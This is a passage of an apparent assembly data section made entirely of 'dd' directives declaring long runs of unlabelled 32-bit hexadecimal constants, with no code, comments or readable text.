		dd 7D527A2Eh, 13865BE3h, 2158C213h, 4F23C5C8h, 201C8982h
		dd 507BDC1Ah, 5CE5C48h,	0A4B4555Bh, 0BF04C4BEh,	0E6D0E15Eh
		dd 6F945333h, 0C945A5F5h, 53887DDh, 0C409C818h,	0C9E92F52h
		dd 5D01568h, 726F2E9Dh,	0EF9967BFh, 0A42FE892h,	0B894DC81h
		dd 4BAA6800h, 3BA099B5h, 552EB2FFh, 5E2DA045h, 2076F2DCh
		dd 7418E9E1h, 7F313324h, 90E4BFDEh, 0B04A58FCh,	5F5C0872h
		dd 26AEED10h, 9F69EE20h, 0AF329BD0h, 0E429122Ah, 0E9553FADh
		dd 0BDD8E2D5h, 0A2161728h, 6C41FE40h, 0EDD14DDDh, 87D830h
		dd 5197C0C6h, 36929B9h,	2010265Ch, 29EA0B3h, 0C2705A4Eh
		dd 79BC596Bh, 75ABA8D2h, 2D5A88EFh, 654A7250h, 0B50DDEEh
		dd 4B137CCCh, 7FFC7F5Bh, 86AA76Ah, 0C262F25h, 0AB4E5511h
		dd 7103A109h, 3DEC495Ah, 0A4A6E918h, 1316C7C7h,	0B0BA9562h
		dd 0DE41A053h, 5AAA5424h, 0C84B546Ch, 5049720h,	58BF48F3h
		dd 752BB82h, 0C67F6350h, 334E9704h, 38BB6F25h, 444096B3h
		dd 0D75CECADh, 0F36C8455h, 0CBF84E8Ah, 0FC2BE9C2h, 92073482h
		dd 7112907Ah, 0A721D788h, 5901D653h, 0B7063A01h, 72C32B51h
		dd 58C626E8h, 256805D8h, 1236E337h, 0C8AEDC5Ah,	972C68E3h
		dd 5361B94Dh, 0B3ACAE9h, 57093078h, 0D4A76C05h,	0A9CBFE39h
		dd 0B034E9C4h, 7D58B841h, 305824B9h, 0C8607C24h, 80A2E5E9h
		dd 0F42C890Fh, 0E88C6333h, 0F8030607h, 635F308Ah, 8953F6AFh
		dd 458F48B5h, 691A3901h, 2D83ECCFh, 0CB0110C1h,	0CE67C985h
		dd 0D749B751h, 125199A7h, 69431F5Fh, 0A104E42Ah, 6E3C007h
		dd 0F671C380h, 0C9D6FEDBh, 0C5EC7084h, 8D0F1211h, 0EE195299h
		dd 0C69567C1h, 4358530Ch, 2E525526h, 0B07FBFE1h, 211626DDh
		dd 0CF8120D2h, 0A5405A50h, 4C6FF7EAh, 0C2278D29h, 60E98348h
		dd 0C50A09B5h, 0E07B27F2h, 24C7425h, 481F0D3Ch,	18A089F5h
		dd 58F6C594h, 0CA58C5E0h, 4025C648h, 6858EAD4h,	0E6745F62h
		dd 5FC75E0Eh, 0E97DFE60h, 0BDED4020h, 302FE07Bh, 22AD803h
		dd 6AC2E381h, 63C04305h, 9D096319h, 5A37E921h, 0F4C30450h
		dd 0AF75F257h, 3C0D44C1h, 7E0E5207h, 0D5D6D8A9h, 4D8A5525h
		dd 0D5CC3F1Ah, 0EEBA404Eh, 65CE6BDDh, 0E7B519Fh, 0F8A2A705h
		dd 2960401Fh, 0A360CBDEh, 597FC2D8h, 7EFEC11h, 241B1AFBh
		dd 51CCD29h, 31B40D08h,	0C2FA3081h, 0E295F690h,	0F6D56C72h
		dd 0F6B65F74h, 6D18D891h, 28EC2C67h, 50052557h,	2971EB5Dh
		dd 0B32FB968h, 10FD52A5h, 2F50E472h, 7733625Bh,	8B59BAE6h
		dd 833A2D3Ch, 0A9FEBB22h, 0F43F0CF1h, 317480EEh, 82E93508h
		dd 5B5E2792h, 6153571Eh, 8B252E80h, 0B0D75B47h,	57825C3Eh
		dd 82D1BA05h, 677E737Dh, 0AC985752h, 0D68228D8h, 0BFE2DF5h
		dd 0FB027F25h, 9BAEAFC4h, 12656DC4h, 0F64005BFh, 0C76B94Fh
		dd 0A12D0EEh, 2D953DC6h, 7B94B14Ah, 0BFFDD48Dh,	0D9FB53C5h
		dd 32001C7h, 406141B1h,	0AED420A2h, 80318E34h, 0D7AE64C5h
		dd 57805EC6h, 0E62D646Bh, 473D2317h, 7177C84h, 1970FA29h
		dd 4B27924Eh, 0CDAAE45Bh, 0C9E76D5Fh, 641A5925h, 9A066355h
		dd 0FA5C09A6h, 58FAD449h, 0A9BEE378h, 53F0B840h, 0ED098D8h
		dd 2BAE4E54h, 77A446AFh, 44E68306h, 549E3B48h, 4B05097Dh
		dd 0C6011A08h, 0D089F10h, 83A15EE9h, 0D024803Eh, 0A7D3571h
		dd 1B87E433h, 0CA56BAF1h, 1B6E7F87h, 37FE3B24h,	10700689h
		dd 17F180C5h, 0C0565038h, 1B3F7A16h, 292E97Dh, 0CAE90DB9h
		dd 9BEE334h, 7F35673Ch,	81EB6E87h, 3B6CD638h, 0D84B110Bh
		dd 0FBAA205Fh, 12FB6658h, 3330E541h, 9517EA68h,	27950498h
		dd 88CE983h, 0EEC0B051h, 0E5BF5700h, 2A6A2205h,	0CA80FD89h
		dd 466EDC5h, 27E978C2h,	46350179h, 56CC5513h, 7E4104BEh
		dd 86290BC7h, 0F7011246h, 875C1726h, 68E49CEh, 0FE5393E9h
		dd 0AB312A20h, 0E87FD23h, 89EF97DAh, 77D98BD7h,	8840C332h
		dd 561D0C33h, 0D59BE9C6h, 0EE980EEBh, 89C657EDh, 0FE1F06EFh
		dd 2D965D5Fh, 900C1ABEh, 79C0241h, 0BA703BB0h, 9B565C6Fh
		dd 4A1DAA01h, 61CA8777h, 6A562281h, 0EF089A10h,	580D006Ch
		dd 0F755040Eh, 1035D802h, 4001AA1Ah, 20ABB134h,	0A1BAA341h
		dd 3A66AD27h, 92447FA7h, 0C6C7E919h, 0EC09EF21h, 99BD3B7Bh
		dd 0D86E51B7h, 0F460A210h, 63F7C537h, 0EDCE90FDh, 806DB21h
		dd 6CB6091Ch, 96554F3Ah, 408AB02Fh, 68185699h, 0B1177C6Dh
		dd 0CB308038h, 3F5669EEh, 24563E60h, 2D835D08h,	30C95A1Eh
		dd 0E96B8765h, 39C0AF76h, 0A147B2CBh, 0EBD1261Fh, 0AD4512BBh
		dd 4A9FD002h, 8AE92823h, 5B2BF026h, 2FD8E5BAh, 532F6344h
		dd 4850F01h, 972F628Ch,	0FC139DA8h, 0D48BB8AEh,	2C2121Eh
		dd 1D022CBFh, 0C0AD446Eh, 1A3025A4h, 0F488CA88h, 860F8291h
		dd 0ED483727h, 6880593Fh, 24CCE0F7h, 17BF5B6Ah,	0A24F56D3h
		dd 6EB8008Fh, 0BD42AE66h, 5A70476h, 6C5010Eh, 345DAC7Ch
		dd 0EE53C981h, 112F37A6h, 5177CFC2h, 0C5E90537h, 37CAFEA4h
		dd 41CE2F7Ch, 0F469E7DCh, 0CBFC6B8Eh, 750E8000h, 963DE905h
		dd 65442F9Bh, 5E26B025h, 1DE426AAh, 73B76003h, 28F8256Fh
		dd 68716CC4h, 0ACD9EF12h, 11696680h, 0E9953F59h, 0E764C330h
		dd 822EE18Bh, 0DD80E2DDh, 187DF6C2h, 9F7E2BC9h,	59408BF1h
		dd 974783E9h, 0C4D3CB9Bh, 7F86BF58h, 757E3558h,	9EB10C8h
		dd 0BD13A3E9h, 0C47446E1h, 0A8F8522Dh, 0BF187160h, 4E3D2EFBh
		dd 5C4B241h, 782C6866h,	84044E1h, 170F21C9h, 0E2E4CE82h
		dd 4BCFE732h, 0B5732Ch,	0E9C0B70Fh, 22928ED9h, 4A8124EAh
		dd 481EC60h, 0AB7548CAh, 0A316BF42h, 7DBC6D12h,	1FCB3FDEh
		dd 0CFCD893Fh, 0FD55DA91h, 0D8C2065h, 34DB3EF9h, 0B5515301h
		dd 84EF88CFh, 0BCD1E9B7h, 4FC106ECh, 0F566FD31h, 3BFC286Eh
		dd 113801BEh, 46E6D128h, 0C06086F4h, 6B74ED69h,	0D09F159Fh
		dd 741BB29Eh, 35316ABh,	5D0ED021h, 805DE3E9h, 384704B6h
		dd 81FE3D05h, 0A449BA10h, 5010CE11h, 0F3E2D116h, 8FAD4B98h
		dd 4F40F2E4h, 19B15F1Dh, 472CFB01h, 0C409302Fh,	3272EED5h
		dd 0D21AEC22h, 0D74CBE4h, 647BC69Dh, 81541105h,	56DB244h
		dd 0A8C40CEDh, 6673273Eh, 0AC455A2Fh, 3096754h,	49EF98D2h
		dd 0E260E781h, 21FE04CFh, 0B0D17CF7h, 643C6C20h, 0FF67EFAh
		dd 2159D009h, 59CD5431h, 8B743C29h, 27B056EAh, 0F088A8DBh
		dd 0AB92BC6Eh, 0DE91AECBh, 457BEF8Bh, 0BBBAC845h, 0B4797FCCh
		dd 55F000Fh, 44230C85h,	2D519FB0h, 0F178A707h, 92FD6B9Ah
		dd 48E1D7B6h, 0C36620F6h, 8C202841h, 0B885D323h, 36F71094h
		dd 0FD3E2DC0h, 14FBA73h, 18CEB4h, 816CCA5Eh, 575D43EAh
		dd 0FE210D2Fh, 0C4730CD0h, 6805EBF7h, 29264735h, 302C5B81h
		dd 0CF28EA39h, 0F6DE9DACh, 0BC520425h, 72C6550Eh, 0C60545BFh
		dd 117B0109h, 9885B7BDh, 920EACD9h, 766CCAFBh, 2E72685h
		dd 1FF7741Eh, 0F05154C0h, 20AF1497h, 317FA780h,	589AA0EEh
		dd 0F894B027h, 4F5073E6h, 5B4109D8h, 0A8EC7905h, 255C8F5Dh
		dd 0C8BE737Eh, 654DCF44h, 2A4B9E1Ah, 6225DCDEh,	6801E8E4h
		dd 6D2F4811h, 0C7302A7Ch, 583B59BBh, 0EB3A06A1h, 51711A8Dh
		dd 3021D40Ch, 0FC04074Ah, 0B4F94B7Dh, 0B8F3752Ch, 0AB0152h
		dd 7E66929h, 0E8E564E7h, 888F14Bh, 520C7508h, 409A207Eh
		dd 0DD40D0EDh, 0D28C4014h
		dd 0A7087162h, 0B94502E7h, 313FF903h, 6A49C738h, 0BF088CCAh
		dd 62B2186Dh, 9FE2088Eh, 3023802h, 2810768Fh, 4F182894h
		dd 722910E4h, 0CF593D80h, 18F87608h, 1180BFB2h,	23EB83C5h
		dd 9ADE0818h, 8073A520h, 10C46BE9h, 0D60456C2h,	0F43606F9h
		dd 80A3108h, 8846EA18h,	81BBF08h, 2089AEFh, 6FA1084Bh
		dd 39893338h, 0CFD1332Eh, 0A9197E10h, 4D108690h, 5454988h
		dd 186C5F0Dh, 898FFF5h,	0B037C9BDh, 0C40F08C4h,	0A039300Ch
		dd 62D44140h, 247E08ACh, 10ABA603h, 18399728h, 55108B7Fh
		dd 0EC21D12Ch, 9C0F91Bh, 97ED2119h, 98523108h, 89B0A20Ah
		dd 93620242h, 1057B403h, 31B90D08h, 67C5F1EFh, 18D1201h
		dd 88CBBEEh, 71184740h,	63ABBE40h, 641F10B7h, 0B078082Ah
		dd 31A38420h, 5728DC60h, 0B5088861h, 81F90C9Dh,	8880A2F1h
		dd 0C018C6F1h, 0E233087Ch, 3275C97Bh, 33281481h, 510184A3h
		dd 0CE960810h, 183C6B10h, 54308E6Eh, 0D0618080h, 248210C9h
		dd 64913B00h, 4B03DF63h, 78103919h, 19892908h, 1C28A1B4h
		dd 0B17E88D4h, 0C31AB08h, 7C187D2Ch, 0A9C5BE40h, 398CE1D4h
		dd 7C593267h, 0CC169A80h, 7E695008h, 870895FBh,	0A45418A0h
		dd 80C38B38h, 0A8098D6h, 51E98149h, 2296CCCh, 36D84817h
		dd 0B108C4ADh, 0F4F80A85h, 821D788h, 0ED0822BEh, 0A05D1FB5h
		dd 1018A449h, 0C924F74Fh, 8C0B608h, 206E1820h, 95492ECCh
		dd 810A315Ch, 0B501895Bh, 8C1888B1h, 0B9720806h, 10844A15h
		dd 3375CB4h, 8C946E1h, 189B5A33h, 0DA691035h, 0EC3B106Bh
		dd 33A8432Ah, 0E8E96809h, 0A05D1019h, 718C9A08h, 0FF10BA2Ch
		dd 0AAF9BB41h, 17B1601h, 0D401F022h, 9AFD01C2h,	1425601h
		dd 0D052CB90h, 9F83022Dh, 72D802h, 0E8FC9C60h, 0F825A499h
		dd 5EC22A75h, 901B4D7h,	2F205BDAh, 2752C47h, 8913EB18h
		dd 0DEA7B90Eh, 105803Dh, 49408F44h, 75C90B02h, 0C3748BF7h
		dd 3DEA039h, 0EAFE95F0h, 1C0338Fh, 304FB10Fh, 4AC2C82h
		dd 0A4FE51E5h, 105B750h, 0F928C4B1h, 7BE1C05Bh,	29EAC40Ch
		dd 8BF65851h, 0B4274E4Ch, 38688280h, 9589E6Fh, 0F4B217AFh
		dd 2F366246h, 0B9511C84h, 0FBD81498h, 905ECB2Dh, 5E13CC02h
		dd 0BAEAFF3Ch, 0CDF30827h, 11A0422h, 1432C296h,	0DA2E7037h
		dd 88163B8h, 0CE452A5Bh, 25D078A0h, 5C500BC9h, 0F1027877h
		dd 7FFF71EBh, 4F05E855h, 0AA014A3Ch, 0A400A124h, 0F4E7EA7h
		dd 6927308Eh, 29F68120h, 0A820A004h, 0E0ECF189h, 5D003CA6h
		dd 2D20F569h, 4F441546h, 47910C3Bh, 7303B867h, 316FBE02h
		dd 852FE1C7h, 2F5B3C9Eh, 215F0696h, 3B4C9F05h, 0B4D658BCh
		dd 4A602BDFh, 10B05058h, 0F6C81BFEh, 0C5E04D8h,	66045300h
		dd 0C74AC780h, 6728E026h, 163B0F58h, 0ECEFE7C7h, 5B1CFA12h
		dd 0D00E6D04h, 0E7D1972Ch, 0A650F67Ch, 3BDE8DC6h, 0C103BCD5h
		dd 3223711Eh, 519A0C01h, 0F101223Bh, 846E9F9h, 5E14810Ch
		dd 51CF847Ch, 0C0358BA6h, 5510BE04h, 80EB30B3h,	79DD72D4h
		dd 63BA521Eh, 73BA5BAh,	59846850h, 0C7C0ACB8h, 813D1E25h
		dd 7B37F304h, 57F05201h, 0B92B4FD3h, 94BDD38Dh,	0D22D9713h
		dd 0EEFE2CBBh, 5E316D28h, 0E3D19051h, 61AD8BE0h, 0EDE9103Ah
		dd 7426A7DDh, 22E97832h, 98BB65Dh, 565D5EF0h, 0EC5B2DB7h
		dd 31EA966Fh, 1AB68A1h,	12937C01h, 79CFBE5Fh, 3B58914Ah
		dd 0FC35AFEBh, 0F4D037DFh, 0C65C0E0Dh, 7C0C2C58h, 48433055h
		dd 0F8E780CCh, 55AC06C9h, 0F7092964h, 0D2F908F0h, 32D835ABh
		dd 68D2C130h, 16137A0Bh, 0B6AA1884h, 0BDE98295h, 54D15D21h
		dd 67F1953Ch, 0BB634A5h, 92E9F3BFh, 0E90B078Ah,	945FBE1Fh
		dd 66D1951Bh, 3C7AA43h,	4FA1BD10h, 7C182ADDh, 0F5FB22E4h
		dd 0EA88242Bh, 11F90CFDh, 1341FA93h, 0FB78E47Eh, 158E7E14h
		dd 714704DEh, 54BC2EF0h, 9649C8B1h, 0F2A83338h,	5042A388h
		dd 0ACA08FDh, 0CAD41DEAh, 0A929C74Ah, 1211645Dh, 0A0D94E74h
		dd 95A82767h, 1612A0C6h, 4FF96D49h, 90580840h, 51EEB56Ah
		dd 79B518F4h, 8D0A987Bh, 2E4AEE68h, 0F11011F3h,	0ACF15F0Fh
		dd 6025813Ah, 6E29E1FCh, 13B8AC65h, 31F6572Fh, 0E928E701h
		dd 0A2934B4Ah, 82960442h, 0C0F24E40h, 50A99106h, 55851434h
		dd 0BDB0D853h, 0D5F143Bh, 269A5B50h, 5CAD883Ah,	84FD2095h
		dd 54C6C282h, 0A98F260Bh, 542FD5E8h, 4F5F11E3h,	5757A0Fh
		dd 0B364293Dh, 88C404AAh, 566F0E3h, 0CF692204h,	56AC508Dh
		dd 946AA704h, 0B7DD8072h, 0A120E925h, 0CC80017Dh, 0B28F0F23h
		dd 0C0128783h, 0ECC206E4h, 7E1F78Ah, 40F412C2h,	0DD1A082Eh
		dd 0DD469810h, 9693BF5Ch, 0EB70F200h, 489CE95Fh, 12D86E56h
		dd 0FE837BDCh, 60BEF05Ah, 10C3397Eh, 1D4BB973h,	1310FFBCh
		dd 0B36809C8h, 0B6B9185Dh, 5F7DFECEh, 88B6A9BCh, 0F35916FCh
		dd 0DA291FCEh, 51C34E98h, 0FEF212B5h, 9A970EC5h, 0C01ED66h
		dd 0D1A1F35Ah, 56A71D3Fh, 9746E29Bh, 0BFAA39C1h, 29F885C3h
		dd 60C8EEF4h, 0BD5D49EDh, 7D45EA25h, 0B6EDE4B1h, 871AD632h
		dd 85F300Dh, 481EE8E1h,	49E490E0h, 0F7031507h, 0E6D0FC12h
		dd 0A983FDC2h, 1D0F162Eh, 0F8F9A3EEh, 0B4596AA8h, 8057E4E9h
		dd 32AF3420h, 0E7C15F12h, 8ABB4C09h, 0D2675C11h, 426B9602h
		dd 0E9FC609Ah, 7B8E2D30h, 0F707837Ch, 0BFA24DD5h, 0C1CCFDB5h
		dd 0A4B5BC5Fh, 0E433E92Ah, 91B9D1EEh, 0FC1C1238h, 164308F3h
		dd 9A253428h, 0A5BAC76Ch, 0DCCB6EDEh, 9035841h,	0D505D6D6h
		dd 0EACAD8ACh, 48E13B10h, 4BFA2D60h, 0EE48E1FEh, 20859964h
		dd 0D0A00C6Bh, 3479794Ah, 1F7BCDEAh, 500E6DA6h,	8A59E3B8h
		dd 3C04DB18h, 0F0F2016Ah, 17FAB16Ah, 99CC046h, 1E985BD9h
		dd 0AD48EFF5h, 0F6DB12E8h, 0C2D731EAh, 5689488Dh, 3A4E7C51h
		dd 2D0F15E8h, 0A6CBBDFAh, 55A0065Dh, 50386E0Ch,	5FEA71D3h
		dd 51350064h, 0F86E2C66h, 9FC71C48h, 0A9E2CCFBh, 0BC30825Fh
		dd 2BC5E522h, 0DBB31DD0h, 54EDC145h, 3A127AE3h,	0A0E18FC1h
		dd 58045976h, 0AB324F70h, 1F012E85h, 0CDB08FA4h, 5F587728h
		dd 2428FC4Ah, 0E9C30A02h, 0AD7F5A49h, 8E162619h, 0D01AAABEh
		dd 5051AC04h, 5FC4F6B4h, 7D87FA94h, 7FDC2372h, 50E7C8A0h
		dd 64C02756h, 6829181Bh, 0CECB35E9h, 73D0C22h, 49690506h
		dd 6DA683A0h, 8031E121h, 0E3E77168h, 8E3B445Ah,	5E141950h
		dd 126FDA29h, 0C5E90F99h, 261585A6h, 53A89895h,	64C12668h
		dd 0BF576011h, 9C255B4Bh, 1F12F019h, 0D3EC8EBCh, 0CB8B09F9h
		dd 32B78406h, 58C7719Dh, 854CA0E9h, 5A68C24Ah, 0CB81DE57h
		dd 9C1E9706h, 78E8829Dh, 4286436h, 58D3BBB9h, 0D6081A29h
		dd 0B45E179Dh, 2B0CC7D3h, 0BC4449EFh, 30670388h, 0D27EE97Ch
		dd 5C36840h, 0C50C9D09h, 5282D56Eh, 4CE84502h, 0F6031EC1h
		dd 308B0FD9h, 0B8174566h, 0E1288D01h, 518F10BAh, 5E952368h
		dd 4930B91Ch, 5F0873EBh, 0E58180C2h, 1A31413Ch,	4D860CC1h
		dd 4F205DE0h, 0F5C403B2h, 282DE910h, 4EF82E5Ah,	4C09B24Eh
		dd 74EF0E0Fh, 0D8E9221Fh, 5D11E991h, 107AA22Eh,	74230A29h
		dd 134518B4h, 7471FAAh,	0C8EB3D96h, 0BFB1E4B0h,	2BA0EEC8h
		dd 20FF014Bh, 760CE6CBh, 23DBD3Bh, 0A65DCFCEh, 0AA286022h
		dd 68A92C7Eh, 0A1B8583Fh, 16013173h, 97CAD405h,	0DD80298Ch
		dd 67F1B951h, 0E93B2A73h, 0B838E5D1h, 155CFA05h, 2D072980h
		dd 0C40116DAh, 0E0FDA13Eh
		dd 213DB9E5h, 8CC3A480h, 8EA8631Ah, 0F68C1E8Bh,	17799474h
		dd 0CC9422A2h, 35BACE20h, 30EE14A0h, 63A20DD7h,	178CAF10h
		dd 0B1AC4768h, 0CE6F8755h, 9CA04E44h, 351C6245h, 571A1B22h
		dd 167D6892h, 27289437h, 9D4A2CF1h, 4DE95782h, 0B6520036h
		dd 0C65CFE6Bh, 9AF112E8h, 9703AFEDh, 2AB35350h,	8806F3B8h
		dd 285BD814h, 0E6C01EAFh, 5866845h, 0B0B4C731h,	852CA57Fh
		dd 396BE904h, 0FB9F12h,	0C1BDF2B2h, 70B7D56Eh, 2AD18015h
		dd 73442D09h, 0CF54B68h, 2A61E5E1h, 3074D9F2h, 6848474Ch
		dd 963B7Fh, 0D5317D62h,	534CC9EEh, 6BB4ADEh, 854A203Bh
		dd 3B252EB0h, 5A3955EDh, 993665A4h, 0D92F1050h,	6F02B31h
		dd 0FC144FBCh, 1612612Fh, 4C888254h, 0C00B08CBh, 0F2057FE0h
		dd 0E2CF972Eh, 0DCA27891h, 0D7291C2Dh, 0FBF6AB60h, 0CC4CA59Dh
		dd 0BE01D81Ch, 6EB55DB9h, 13D58520h, 0F0372E74h, 0E40C226Fh
		dd 1CDEF751h, 6401121Bh, 0E9430133h, 3BDCDBFEh,	0B4905914h
		dd 0C8F788BCh, 8C8C9C1Bh, 675AB007h, 649792D0h,	816310DDh
		dd 1E7A0CF3h, 60E23B7Ch, 41E00244h, 0E48AECC6h,	71CDD14Dh
		dd 1E47709Ch, 208C231Ch, 1BB0F12Fh, 2584C158h, 25B2FCE7h
		dd 5F5AA575h, 87A572AAh, 380AEC77h, 957047A0h, 0F8B711EEh
		dd 0C91FBE59h, 0EA436F7Eh, 419C85A9h, 18C317BFh, 1A0D063Eh
		dd 1B902032h, 0BA525001h, 4B420AE3h, 1367FB20h,	0FF16716Ch
		dd 6E17BD53h, 163A32E1h, 627A96Fh, 5D336684h, 3691080Ch
		dd 0B012164h, 5F0C9604h, 68C2E538h, 0E901764Bh,	220337Fh
		dd 6BEA5309h, 3E81F238h, 15E967FFh, 0E3B6920h, 765D4521h
		dd 467C0AAEh, 227C26CDh, 0C33420CDh, 0A90E6498h, 0A7ACE5F6h
		dd 0EF9047D7h, 5B4B7824h, 2D26A193h, 755C3027h,	0C09482E9h
		dd 2576BE3Eh, 409F1629h, 4C586B9Eh, 0A73A1328h,	0D34F6B62h
		dd 1EF82500h, 27105139h, 0F06EDFD2h, 23B4038Eh,	0A84BE310h
		dd 2209047Dh, 5F0C07D4h, 520224EAh, 0A3E91218h,	0C94E6867h
		dd 20C8B8F6h, 83982AD0h, 2CBA1F4Bh, 8B0968E2h, 5722B032h
		dd 9A255280h, 2B48B376h, 3FAA184Bh, 813A09CBh, 9D792058h
		dd 50F5411Dh, 2C6CC382h, 40EEE228h, 4BFDE980h, 3E998DA1h
		dd 3DBF6A12h, 1EE29614h, 374D84D0h, 2107008Ch, 0F50D59C8h
		dd 1E5DAC48h, 26741AD9h, 930AC02Ah, 0C7EFC028h,	0C0EFD0B3h
		dd 7308E73Ch, 0F6161A64h, 0E291D1AAh, 22E23D58h, 0EEF8B040h
		dd 42944E86h, 0A75DF324h, 3855BEC0h, 0EDE67F82h, 3024C304h
		dd 4B8173Ch, 315E2C76h,	5820BE82h, 0E3B0CDEEh, 69E1CC70h
		dd 3EBE864Ch, 8E448024h, 0F3DBB5FDh, 0CE654CB1h, 3ED6DD2Fh
		dd 350D704Ch, 6F7D2068h, 6BB1E924h, 9AD80193h, 0E7143D5Ch
		dd 0D9E95886h, 0F17255B6h, 626A031Eh, 0D785C2D2h, 3FC56E80h
		dd 694F7B35h, 0B04F596h, 9260C868h, 6B17D862h, 105D0917h
		dd 0F6A2BB75h, 2297AABh, 0FA02B791h, 1655DF01h,	0C8EF0219h
		dd 0F4AEB68h, 0A5D740C1h, 0F754C818h, 55B00559h, 99F83171h
		dd 64660CCh, 1259AAC0h,	762D9471h, 38280647h, 0CA5C63E9h
		dd 3FC3800Fh, 829B2451h, 0A3C574B3h, 40B1291Dh,	0A0603FA5h
		dd 2609194Bh, 6C7F5C5Bh, 324B0A54h, 0CF05B231h,	0D6C24981h
		dd 7A481625h, 7C54C1F3h, 175834E9h, 4576809Eh, 181AB416h
		dd 0A38DA29h, 8A430B08h, 5C541727h, 5CAF650h, 4E7A6855h
		dd 27E971CCh, 1235006h,	0C4A5646h, 7848D3FCh, 15136911h
		dd 9D793045h, 685CC580h, 58015A26h, 22795D5h, 8C175BC5h
		dd 76AB0853h, 6813B0EEh, 0A8CC2587h, 0A5C59C06h, 0B0153C55h
		dd 78400115h, 77682369h, 245B767Fh, 0B04075A8h,	5016DD70h
		dd 129CA05Ah, 0A86D2865h, 86460670h, 21A425Bh, 0DA182DBCh
		dd 3174D789h, 106C684h,	844DB3BEh, 6F1DF309h, 313EF8F2h
		dd 71C715FBh, 0B7B05EC2h, 6871A846h, 961E1202h,	12000C15h
		dd 84EC5C5Eh, 6805929Ch, 37BE5778h, 18579BAAh, 0BAFBE3Ah
		dd 314AC806h, 24FB03ABh, 0AEDF050Bh, 0AD172A8Bh, 9BC35BC2h
		dd 7D13F891h, 473B4A97h, 0A262E01h, 7E2C3C76h, 9DF4A007h
		dd 7D002D67h, 0C10ED754h, 70862EEh, 425867E9h, 580E0462h
		dd 0CCA25161h, 0F405A558h, 83E9A43Fh, 0B7EF3594h, 0D35C2DE8h
		dd 7A142DCEh, 0F45D5425h, 84F5C9D1h, 0F6C80C4Fh, 203741E7h
		dd 22F756D8h, 0C1C609C2h, 25F1D8D1h, 8654D5F7h,	0A553238Dh
		dd 14438A24h, 82AAD42h,	0F663FA09h, 1BA70682h, 0CE018FDh
		dd 81719C2Dh, 4EF0A5Fh,	2C20DC0Fh, 8934A5B2h, 74010A4Ch
		dd 0D9315B5Ah, 0C535CBF5h, 68522C7Bh, 0F8334A5Ah, 754DC952h
		dd 0A5AAA82Ah, 3669CABh, 0CF8E35Fh, 7937BBE0h, 4A908B5Fh
		dd 0D32C9FE9h, 0C103412Dh, 2F02AB55h, 31437BB5h, 0C6230043h
		dd 0DF8AB5EDh, 67B0F089h, 848AC15Bh, 0DC2215Ah,	3C3393Ch
		dd 0B6525843h, 74CEB97Bh, 97B4FCFCh, 5700055Bh,	0C748C168h
		dd 11B5A170h, 71BD5500h, 4E583F16h, 79780E80h, 0E91E0CD8h
		dd 0F29D32F3h, 3363671Dh, 947BF027h, 25DA5C5h, 0ACB21C1h
		dd 40BB0DD2h, 30CD30ADh, 6D660E13h, 83650AEh, 4BB2E912h
		dd 0C046BDC5h, 1A48950Bh, 5844E946h, 1B09883Eh,	801E65BAh
		dd 980BD7C1h, 0EEFDA0B3h, 0B5490C55h, 20EB8C50h, 0BFDDCF1Eh
		dd 0E32A1C6Ch, 0AE77AA21h, 785618D3h, 0B203489Eh, 0DBE9BE09h
		dd 0EE81A817h, 243A16EFh, 119F50Fh, 0FDD15808h,	40248246h
		dd 0E3096512h, 942FB098h, 0CC014134h, 0BF0457F0h, 49680F3Bh
		dd 3C13EEh, 0C78108AFh,	0B73B218Ah, 16097C05h, 751A3A38h
		dd 0EE9A68Fh, 89ED7C25h, 0A6F0780Bh, 6BEC00B8h,	99050F54h
		dd 3C752927h, 8977B13Ah, 0C0EFE925h, 0EE1B2C37h, 0C3B2B8h
		dd 2184F681h, 728922ECh, 168A304Bh, 82CAE913h, 14F75D86h
		dd 0DC6828A8h, 0C0AC3114h, 2BC8300Ah, 5A05DAE3h, 0FA6C5B68h
		dd 0C81B7533h, 138135F2h, 113B18E7h, 0E9178BDDh, 5E90AC5Fh
		dd 1F484F8h, 0AD62D893h, 0A068717Eh, 5B5A0828h,	79B112ECh
		dd 0F490012h, 16B0318Ch, 49E6DB3h, 0AAB915C1h, 0B69A4B7Ch
		dd 8B56717Dh, 3DFEF696h, 8C89DE6Bh, 522A58Ch, 0C9DF3709h
		dd 272754E8h, 74A89E3h,	0D01C07ACh, 0EE21C93Ch,	0CE00966Ch
		dd 44696261h, 9416860Fh, 8E9065Ah, 17270B4Fh, 0E9C7D1CEh
		dd 58BD0D16h, 0D76CB5D9h, 0E188AA15h, 1A0AD216h, 2119A83h
		dd 0DE4FFE4Eh, 6026C623h, 30587616h, 0C735796Fh, 83100FB1h
		dd 0F6246654h, 0F3440956h, 84F9DAA5h, 15CAD51h,	594DF4BEh
		dd 0BDF05745h, 0BD3EE175h, 0F7E0D318h, 3ACE053Ch, 0BEA801E9h
		dd 0BCF20BCCh, 56D3271Bh, 7CE14A69h, 4B8FC761h,	813D315Dh
		dd 0E9C5D015h, 4DBDFA2Ah, 37688F3Fh, 0C222F853h, 66015EBDh
		dd 7B220FF8h, 8FAB3CD6h, 0EE3034A0h, 0C6038059h, 0F1B050C8h
		dd 59F1A566h, 0D0D558D5h, 0CB50806Bh, 0E915C630h, 48A008D3h
		dd 0D51E4B1Ah, 6A607DCCh, 0C3B53C51h, 266B6A18h, 9F166CB9h
		dd 41BC6847h, 0E57CEC5Bh, 405B500Dh, 3079DDBBh,	0F01F65AEh
		dd 0D805F65Ah, 7802870Fh, 0E909678Fh, 271AA3D0h, 1AE8E301h
		dd 8A64801h, 0F33EBC99h, 60FDF05Ah, 0ED02994Ch,	1EDA5DB0h
		dd 8BDA8FFh, 7C841C31h,	7DC65EFDh, 0FDE9C899h, 66A6226h
		dd 0D58F0F38h, 64C9F273h, 0B0C4129Ah, 0E106C0B6h, 570E902h
		dd 62808C94h, 3DFBAE55h, 5F74E90Fh, 686D298h, 1337382Ch
		dd 2C969308h, 821ABC10h
		dd 0C5DF3441h, 0E95483F0h, 204B2909h, 2D7924B9h, 15207BC8h
		dd 764619EDh, 0C00B0CC1h, 0C67E17BBh, 9DC28E80h, 5E9B890Fh
		dd 17C11FDBh, 0C5AA0406h, 83E04D72h, 421BC17Bh,	0CAB900A2h
		dd 5913F58h, 94C937EFh,	4B68C3A1h, 40CB6A16h, 0FFDC0C2Dh
		dd 0C0E854C5h, 88E956C1h, 0DABB05E6h, 0FE3D1859h, 0B7514F67h
		dd 570935FBh, 30367788h, 0D9B25Ch, 0EB686650h, 9A5CE97Eh
		dd 0C2801617h, 31CDB12Eh, 681A2403h, 530B3A04h,	6FEC5E5Ch
		dd 9DC0D425h, 70CEEC1h,	8F74DDE9h, 6090BE80h, 8A4A9FB9h
